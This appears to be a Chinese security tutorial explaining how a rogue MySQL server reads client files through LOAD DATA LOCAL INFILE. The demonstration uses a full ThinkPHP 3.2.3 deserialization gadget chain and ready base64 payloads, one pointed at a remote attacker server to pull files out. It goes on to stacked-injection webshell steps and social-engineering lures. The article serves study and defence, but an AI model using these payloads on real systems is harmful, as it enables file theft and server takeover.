您当前的位置:首页 > 电脑百科 > 数据库 > MYSQL

浅析MySQL恶意服务器读取文件原理

时间:2022-07-15 09:29:18  来源:  作者:合天网安实验室

前言

注:本文不涉及对MySQL协议报文研究,仅讲解原理,并且做部分演示。

搭建MySQL恶意服务器读取文件这件事,虽然直接利用门槛较高,但是由于在网上看到了一种比较新颖的利用方式(利用社会工程学引诱用户连接MySQL进而读取用户文件),个人觉得比较有意思,总结了一下攻击原理以及攻击方式,因此就有了这篇文章。

原理

在阐述具体原理之前,先介绍几个SQL语句,以便后文理解

首先在tmp目录下新建一个tmp.txt

内容如下:

浅析MySQL恶意服务器读取文件原理

 

然后执行下方SQL语句,即可将tmp.txt文件导入其中

mysql> load data local infile "/tmp/tmp.txt" into table test fields terminated by 'n';
Query OK, 3 rows affected (2.63 sec)
Records: 3  Deleted: 0  Skipped: 0  Warnings: 0

mysql> select * from Test;
+-------+
| name  |
+-------+
| admin |
| user  |
| Lxxx  |
+-------+
3 rows in set (0.00 sec)
  • load data local infile语句会读取客户端本地的文件
  • load data infile语句会读取服务端本地的文件
  • terminated by表示以某某字符分割,默认为Tab,这里我设置为了n

这个时候可能就会绕不清楚,什么是服务端,什么是客户端?

因为一般情况下,调试SQL都是在本机,并且数据库也在本机,这样的情况就导致,客户端和服务端都是在本地,有点难区分,下面我用一张图来简述。

浅析MySQL恶意服务器读取文件原理

 

在本地,由于客户端和服务端都是在同一个磁盘下,因此,在本地,无论是否加local都是可以将文件传入数据库的,而后面讲到利用MySQL恶意服务器读取文件的漏洞,就是需要使用local,来达到将文件带出的目的。

下面我画了两张图,第一张图是正常业务流程,第二张图是攻击者恶意攻击的流程

正常的后端业务流程如下:

浅析MySQL恶意服务器读取文件原理

 

当攻击者劫持后端服务器,并且在公网中搭建恶意的MySQL后,流程图如下:

浅析MySQL恶意服务器读取文件原理

 

这样攻击者就可以在后端达到任意文件下载的目的。

演示

虽说在之前的某个CTF比赛出过类似的题目,但是我这里还是使用Thinkphp3.2.3存在的反序列化漏洞,结合MySQL恶意服务器读取敏感文件,进而RCE的样例。

首先在本地先启动一个ThinkPHP3.2.3的框架,连接好数据库,在Application/Home/Controller/HelloController.class.php控制器中写一个反序列化入口

<?php
namespace HomeController;

use ThinkController;

class HelloController extends Controller
{
    public function index($Lxxx){
        echo base64_decode($Lxxx);
        $a = unserialize(base64_decode($Lxxx));
    }
}

具体的链子,我就不跟了,网上也有很多,虽然链子具体的方法不跟进,但是我还是需要介绍一下这条链子能起到一个什么作用。

  1. 首先需要一个反序列化入口,这是毋庸置疑的,没有反序列化入口,那就无法进行反序列化,所以上方我就在HelloController控制器中自己写了一个反序列化入口
  2. 这条链子最终的链尾是需要数据库的相关信息,例如数据库名,数据库端口,数据库用户以及密码,并且这条链子是允许使用堆叠注入的,因此如果知道数据库相关信息,那么就可以利用堆叠注入写入一句话木马进而getshell

这里我就直接将链子放出来,然后演示一下如何搭建一个恶意的MySQL数据库,获取敏感文件,进而getshell

<?php
namespace ThinkDbDriver{
    use PDO;
    class Mysql{
        protected $options = array(
            PDO::MYSQL_ATTR_LOCAL_INFILE => true    // 开启才能读取文件
        );
        protected $config = array(
            "debug"    => 1,
            "database" => "tp323",
            "hostname" => "127.0.0.1",
            "hostport" => "8889",
            "charset"  => "utf8",
            "username" => "root",
            "password" => "root"
        );
    }
}

namespace ThinkImageDriver{
    use ThinkSessionDriverMemcache;
    class Imagick{
        private $img;

        public function __construct(){
            $this->img = new Memcache();
        }
    }
}

namespace ThinkSessionDriver{
    use ThinkModel;
    class Memcache{
        protected $handle;

        public function __construct(){
            $this->handle = new Model();
        }
    }
}

namespace Think{
    use ThinkDbDriverMysql;
    class Model{
        protected $options   = array();
        protected $pk;
        protected $data = array();
        protected $db = null;

        public function __construct(){
            $this->db = new Mysql();
            $this->options['where'] = '';
            $this->pk = 'id';
            $this->data[$this->pk] = array(
                "table" => "tp_user where 1=updatexml(1,concat(0x7e,version(),0x7e),1)#",
                "where" => "1=1"
            );
        }
    }
}

namespace {
    echo base64_encode(serialize(new ThinkImageDriverImagick()));
}

上方链子中的数据库信息为我本地的数据库信息,执行该文件后,得到序列化字符串如下:

TzoyNjoiVGhpbmtcSW1hZ2VcRHJpdmVyXEltYWdpY2siOjE6e3M6MzE6IgBUaGlua1xJbWFnZVxEcml2ZXJcSW1hZ2ljawBpbWciO086Mjk6IlRoaW5rXFNlc3Npb25cRHJpdmVyXE1lbWNhY2hlIjoxOntzOjk6IgAqAGhhbmRsZSI7TzoxMToiVGhpbmtcTW9kZWwiOjQ6e3M6MTA6IgAqAG9wdGlvbnMiO2E6MTp7czo1OiJ3aGVyZSI7czowOiIiO31zOjU6IgAqAHBrIjtzOjI6ImlkIjtzOjc6IgAqAGRhdGEiO2E6MTp7czoyOiJpZCI7YToyOntzOjU6InRhYmxlIjtzOjU5OiJ0cF91c2VyIHdoZXJlIDE9dXBkYXRleG1sKDEsY29uY2F0KDB4N2UsdmVyc2lvbigpLDB4N2UpLDEpIyI7czo1OiJ3aGVyZSI7czozOiIxPTEiO319czo1OiIAKgBkYiI7TzoyMToiVGhpbmtcRGJcRHJpdmVyXE15c3FsIjoyOntzOjEwOiIAKgBvcHRpb25zIjthOjE6e2k6MTAwMTtiOjE7fXM6OToiACoAY29uZmlnIjthOjc6e3M6NToiZGVidWciO2k6MTtzOjg6ImRhdGFiYXNlIjtzOjU6InRwMzIzIjtzOjg6Imhvc3RuYW1lIjtzOjk6IjEyNy4wLjAuMSI7czo4OiJob3N0cG9ydCI7czo0OiI4ODg5IjtzOjc6ImNoYXJzZXQiO3M6NDoidXRmOCI7czo4OiJ1c2VybmFtZSI7czo0OiJyb290IjtzOjg6InBhc3N3b3JkIjtzOjQ6InJvb3QiO319fX19

传给url

浅析MySQL恶意服务器读取文件原理

 

可以看到报错注入成功

然后,在公网上搭建一个恶意的MySQL服务,这个脚本在Github中已经有前辈写好了,具体原理就是分析相关的MySQL报文,然后与后端服务器创建恶意连接,并且获得自己想要的文件,这里贴出几个连接,有些项目可能在新的MySQL版本中无法使用。

  • https://github.com/Gifts/Rogue-MySql-Server
  • https://github.com/allyshka/Rogue-MySql-Server
  • https://github.com/jas502n/CVE-2019-12086-jackson-databind-file-read

下载好POC之后,修改一下要读取的文件名

浅析MySQL恶意服务器读取文件原理

 

然后利用Python/ target=_blank class=infotextkey>Python启动,启动完成后,恶意的MySQL就在监听3307端口

python rogue_mysql_server.py

接下来修改之前的链子,把IP和端口修改为远程恶意的MySQL地址,然后生成链子

<?php
namespace ThinkDbDriver{
    use PDO;
    class Mysql{
        protected $options = array(
            PDO::MYSQL_ATTR_LOCAL_INFILE => true    // 开启才能读取文件
        );
        protected $config = array(
            "debug"    => 1,
            "database" => "tp323",
            "hostname" => "1.1.1.1",
            "hostport" => "3307",
            "charset"  => "utf8",
            "username" => "root",
            "password" => "root"
        );
    }
}

namespace ThinkImageDriver{
    use ThinkSessionDriverMemcache;
    class Imagick{
        private $img;

        public function __construct(){
            $this->img = new Memcache();
        }
    }
}

namespace ThinkSessionDriver{
    use ThinkModel;
    class Memcache{
        protected $handle;

        public function __construct(){
            $this->handle = new Model();
        }
    }
}

namespace Think{
    use ThinkDbDriverMysql;
    class Model{
        protected $options   = array();
        protected $pk;
        protected $data = array();
        protected $db = null;

        public function __construct(){
            $this->db = new Mysql();
            $this->options['where'] = '';
            $this->pk = 'id';
            $this->data[$this->pk] = array(
                "table" => "tp_user where 1=updatexml(1,concat(0x7e,version(),0x7e),1)#",
                "where" => "1=1"
            );
        }
    }
}

namespace {
    echo base64_encode(serialize(new ThinkImageDriverImagick()));
}

得到:

TzoyNjoiVGhpbmtcSW1hZ2VcRHJpdmVyXEltYWdpY2siOjE6e3M6MzE6IgBUaGlua1xJbWFnZVxEcml2ZXJcSW1hZ2ljawBpbWciO086Mjk6IlRoaW5rXFNlc3Npb25cRHJpdmVyXE1lbWNhY2hlIjoxOntzOjk6IgAqAGhhbmRsZSI7TzoxMToiVGhpbmtcTW9kZWwiOjQ6e3M6MTA6IgAqAG9wdGlvbnMiO2E6MTp7czo1OiJ3aGVyZSI7czowOiIiO31zOjU6IgAqAHBrIjtzOjI6ImlkIjtzOjc6IgAqAGRhdGEiO2E6MTp7czoyOiJpZCI7YToyOntzOjU6InRhYmxlIjtzOjU5OiJ0cF91c2VyIHdoZXJlIDE9dXBkYXRleG1sKDEsY29uY2F0KDB4N2UsdmVyc2lvbigpLDB4N2UpLDEpIyI7czo1OiJ3aGVyZSI7czozOiIxPTEiO319czo1OiIAKgBkYiI7TzoyMToiVGhpbmtcRGJcRHJpdmVyXE15c3FsIjoyOntzOjEwOiIAKgBvcHRpb25zIjthOjE6e2k6MTAwMTtiOjE7fXM6OToiACoAY29uZmlnIjthOjc6e3M6NToiZGVidWciO2k6MTtzOjg6ImRhdGFiYXNlIjtzOjU6InRwMzIzIjtzOjg6Imhvc3RuYW1lIjtzOjc6IjEuMS4xLjEiO3M6ODoiaG9zdHBvcnQiO3M6NDoiMzMwNyI7czo3OiJjaGFyc2V0IjtzOjQ6InV0ZjgiO3M6ODoidXNlcm5hbWUiO3M6NDoicm9vdCI7czo4OiJwYXNzd29yZCI7czo0OiJyb290Ijt9fX19fQ==

传给HomeController控制器

然后就可以在远程VPS中的mysql.log得到之前需要恶意下载的文件

浅析MySQL恶意服务器读取文件原理

 

现在得到了相关数据库信息,然后就可以再次构造链子,利用堆叠注入写入一句话木马getshell了

使用场景

  • 能劫持后端服务器,但无法getshell的时候,可以采用这个方法getshell(例如ThinkPHP3.2.3的利用链只能到数据库层,则可以通过这个方法getshell)
  • 能引诱用户连接恶意MySQL(社会工程学)

参考资料

  • http://blog.nsfocus.NET/malicious-mysql-server-reads-mysql-client-files/
  • https://www.modb.pro/db/51823
  • https://cloud.tencent.com/developer/article/1818089
  • https://github.com/Gifts/Rogue-MySql-Server
  • https://github.com/allyshka/Rogue-MySql-Server
  • https://github.com/jas502n/CVE-2019-12086-jackson-databind-file-read


Tags:MySQL   点击:()  评论:()
声明:本站部分内容及图片来自互联网,转载是出于传递更多信息之目的,内容观点仅代表作者本人,不构成投资建议。投资者据此操作,风险自担。如有任何标注错误或版权侵犯请与我们联系,我们将及时更正、删除。
▌相关推荐
MySQL 核心模块揭秘
server 层会创建一个 SAVEPOINT 对象,用于存放 savepoint 信息。binlog 会把 binlog offset 写入 server 层为它分配的一块 8 字节的内存里。 InnoDB 会维护自己的 savepoint...【详细内容】
2024-04-03  Search: MySQL  点击:(10)  评论:(0)  加入收藏
MySQL 核心模块揭秘,你看明白了吗?
为了提升分配 undo 段的效率,事务提交过程中,InnoDB 会缓存一些 undo 段。只要同时满足两个条件,insert undo 段或 update undo 段就能被缓存。1. 关于缓存 undo 段为了提升分...【详细内容】
2024-03-27  Search: MySQL  点击:(18)  评论:(0)  加入收藏
MySQL:BUG导致DDL语句无谓的索引重建
对于5.7.23之前的版本在评估类似DDL操作的时候需要谨慎,可能评估为瞬间操作,但是实际上线的时候跑了很久,这个就容易导致超过维护窗口,甚至更大的故障。一、问题模拟使用5.7.22...【详细内容】
2024-03-26  Search: MySQL  点击:(14)  评论:(0)  加入收藏
从 MySQL 到 ByteHouse,抖音精准推荐存储架构重构解读
ByteHouse是一款OLAP引擎,具备查询效率高的特点,在硬件需求上相对较低,且具有良好的水平扩展性,如果数据量进一步增长,可以通过增加服务器数量来提升处理能力。本文将从兴趣圈层...【详细内容】
2024-03-22  Search: MySQL  点击:(29)  评论:(0)  加入收藏
MySQL自增主键一定是连续的吗?
测试环境:MySQL版本:8.0数据库表:T (主键id,唯一索引c,普通字段d)如果你的业务设计依赖于自增主键的连续性,这个设计假设自增主键是连续的。但实际上,这样的假设是错的,因为自增主键不...【详细内容】
2024-03-10  Search: MySQL  点击:(15)  评论:(0)  加入收藏
准线上事故之MySQL优化器索引选错
1 背景最近组里来了许多新的小伙伴,大家在一起聊聊技术,有小兄弟提到了MySQL的优化器的内部策略,想起了之前在公司出现的一个线上问题,今天借着这个机会,在这里分享下过程和结论...【详细内容】
2024-03-07  Search: MySQL  点击:(33)  评论:(0)  加入收藏
MySQL数据恢复,你会吗?
今天分享一下binlog2sql,它是一款比较常用的数据恢复工具,可以通过它从MySQL binlog解析出你要的SQL,并根据不同选项,可以得到原始SQL、回滚SQL、去除主键的INSERT SQL等。主要...【详细内容】
2024-02-22  Search: MySQL  点击:(54)  评论:(0)  加入收藏
如何在MySQL中实现数据的版本管理和回滚操作?
实现数据的版本管理和回滚操作在MySQL中可以通过以下几种方式实现,包括使用事务、备份恢复、日志和版本控制工具等。下面将详细介绍这些方法。1.使用事务:MySQL支持事务操作,可...【详细内容】
2024-02-20  Search: MySQL  点击:(56)  评论:(0)  加入收藏
为什么高性能场景选用Postgres SQL 而不是 MySQL
一、 数据库简介 TLDR;1.1 MySQL MySQL声称自己是最流行的开源数据库,它属于最流行的RDBMS (Relational Database Management System,关系数据库管理系统)应用软件之一。LAMP...【详细内容】
2024-02-19  Search: MySQL  点击:(40)  评论:(0)  加入收藏
MySQL数据库如何生成分组排序的序号
经常进行数据分析的小伙伴经常会需要生成序号或进行数据分组排序并生成序号。在MySQL8.0中可以使用窗口函数来实现,可以参考历史文章有了这些函数,统计分析事半功倍进行了解。...【详细内容】
2024-01-30  Search: MySQL  点击:(56)  评论:(0)  加入收藏
▌简易百科推荐
MySQL 核心模块揭秘
server 层会创建一个 SAVEPOINT 对象,用于存放 savepoint 信息。binlog 会把 binlog offset 写入 server 层为它分配的一块 8 字节的内存里。 InnoDB 会维护自己的 savepoint...【详细内容】
2024-04-03  爱可生开源社区    Tags:MySQL   点击:(10)  评论:(0)  加入收藏
MySQL 核心模块揭秘,你看明白了吗?
为了提升分配 undo 段的效率,事务提交过程中,InnoDB 会缓存一些 undo 段。只要同时满足两个条件,insert undo 段或 update undo 段就能被缓存。1. 关于缓存 undo 段为了提升分...【详细内容】
2024-03-27  爱可生开源社区  微信公众号  Tags:MySQL   点击:(18)  评论:(0)  加入收藏
MySQL:BUG导致DDL语句无谓的索引重建
对于5.7.23之前的版本在评估类似DDL操作的时候需要谨慎,可能评估为瞬间操作,但是实际上线的时候跑了很久,这个就容易导致超过维护窗口,甚至更大的故障。一、问题模拟使用5.7.22...【详细内容】
2024-03-26  MySQL学习  微信公众号  Tags:MySQL   点击:(14)  评论:(0)  加入收藏
从 MySQL 到 ByteHouse,抖音精准推荐存储架构重构解读
ByteHouse是一款OLAP引擎,具备查询效率高的特点,在硬件需求上相对较低,且具有良好的水平扩展性,如果数据量进一步增长,可以通过增加服务器数量来提升处理能力。本文将从兴趣圈层...【详细内容】
2024-03-22  字节跳动技术团队    Tags:ByteHouse   点击:(29)  评论:(0)  加入收藏
MySQL自增主键一定是连续的吗?
测试环境:MySQL版本:8.0数据库表:T (主键id,唯一索引c,普通字段d)如果你的业务设计依赖于自增主键的连续性,这个设计假设自增主键是连续的。但实际上,这样的假设是错的,因为自增主键不...【详细内容】
2024-03-10    dbaplus社群  Tags:MySQL   点击:(15)  评论:(0)  加入收藏
准线上事故之MySQL优化器索引选错
1 背景最近组里来了许多新的小伙伴,大家在一起聊聊技术,有小兄弟提到了MySQL的优化器的内部策略,想起了之前在公司出现的一个线上问题,今天借着这个机会,在这里分享下过程和结论...【详细内容】
2024-03-07  转转技术  微信公众号  Tags:MySQL   点击:(33)  评论:(0)  加入收藏
MySQL数据恢复,你会吗?
今天分享一下binlog2sql,它是一款比较常用的数据恢复工具,可以通过它从MySQL binlog解析出你要的SQL,并根据不同选项,可以得到原始SQL、回滚SQL、去除主键的INSERT SQL等。主要...【详细内容】
2024-02-22  数据库干货铺  微信公众号  Tags:MySQL   点击:(54)  评论:(0)  加入收藏
如何在MySQL中实现数据的版本管理和回滚操作?
实现数据的版本管理和回滚操作在MySQL中可以通过以下几种方式实现,包括使用事务、备份恢复、日志和版本控制工具等。下面将详细介绍这些方法。1.使用事务:MySQL支持事务操作,可...【详细内容】
2024-02-20  编程技术汇    Tags:MySQL   点击:(56)  评论:(0)  加入收藏
MySQL数据库如何生成分组排序的序号
经常进行数据分析的小伙伴经常会需要生成序号或进行数据分组排序并生成序号。在MySQL8.0中可以使用窗口函数来实现,可以参考历史文章有了这些函数,统计分析事半功倍进行了解。...【详细内容】
2024-01-30  数据库干货铺  微信公众号  Tags:MySQL   点击:(56)  评论:(0)  加入收藏
mysql索引失效的场景
MySQL中索引失效是指数据库查询时无法有效利用索引,这可能导致查询性能显著下降。以下是一些常见的MySQL索引失效的场景:1.使用非前导列进行查询: 假设有一个复合索引 (A, B)。...【详细内容】
2024-01-15  小王爱编程  今日头条  Tags:mysql索引   点击:(88)  评论:(0)  加入收藏
站内最新
站内热门
站内头条